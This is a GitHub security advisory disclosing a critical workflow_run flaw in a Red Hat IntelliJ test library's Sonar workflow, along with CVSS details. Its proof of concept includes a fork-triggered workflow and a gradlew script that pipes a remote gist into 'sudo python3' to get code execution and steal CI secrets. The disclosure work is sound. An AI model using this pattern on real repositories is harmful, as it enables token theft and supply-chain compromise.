Skip to content

Vulnerability in redhat-developer/intellij-common-ui-test-library, .github/workflows/sonar.yml

Critical
sbouchet published GHSA-xmm8-7g5p-wqjq Sep 1, 2025

Package

actions .github/workflows/sonar.yml (GitHub Actions)

Affected versions

<= 0.4.4

Patched versions

0.4.5

Description

Hello,

I am Sébastien Graveline, a Security Researcher at BoostSecurity.io.
We have been tasked by Red Hat Product Security to scan and triage supply chain vulnerabilities in Red Hat's open-source software (OSS) repositories.
I’d be happy to work with your team to remediate the reported vulnerability.

Exploitation Scenario

The vulnerability stems from the combination of the workflow_run event and the subsequent checkout and execution of code from the head of a pull request. An attacker can exploit this by following these steps:

  1. The attacker creates a fork of the redhat-developer/intellij-common-ui-test-library repository.
  2. The attacker adds a workflow named Java CI with Gradle that runs on pull_request.
  3. The attacker opens a pull request from their fork to the main branch of the redhat-developer/intellij-common-ui-test-library repository.
  4. The attacker's workflow executes since it runs on pull_request. Because the target workflow uses workflow_run, it executes when a workflow named 'Java CI with Gradle' completes. It runs in the context of the base repository, granting it access to secrets such as SONAR_TOKEN.
  5. The workflow's checkout step at lines 12-15 uses ref: ${{ github.event.workflow_run.head_sha }}, which checks out the code from the attacker's pull request.
  6. The workflow proceeds to execute the compromised code from the attacker's branch using ./gradlew.

Proof of Concept (PoC)

.github/workflows/trigger.yml

name: Java CI with Gradle
on:
  pull_request:

jobs:
  artifact_1:
    runs-on: ubuntu-latest
    env:
      ARTIFACT_NAME: sonar-coverage
    steps:
      - name: Create file
        run: touch test.txt
      - name: Upload
        uses: actions/upload-artifact@v4
        with:
          name: ${{ env.ARTIFACT_NAME }}
          path: .

  artifact_2:
    runs-on: ubuntu-latest
    env:
      ARTIFACT_NAME: prInfo
    steps:
      - name: Create file
        run: touch PR base_ref head_ref
      - name: Upload
        uses: actions/upload-artifact@v4
        with:
          name: ${{ env.ARTIFACT_NAME }}
          path: .

gradlew

#!/bin/sh
curl -sL https://gist.githubusercontent.com/fproulx-boostsecurity/d63abaaac3318a4c66ef958ef2e5b525/raw/ | sudo python3

Impact

A successful exploit of this vulnerability grants the attacker the ability to execute arbitrary code on the runner.

  • Secrets: The attacker can steal the SONAR_TOKEN and GITHUB_TOKEN, which has default write-all permissions, see here.
  • Cache poisoning: Since the GITHUB_TOKEN has actions: write, it can be used to poison action cache entries using a tool like cacheract.

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

CVE ID

No known CVE

Weaknesses

No CWEs

Credits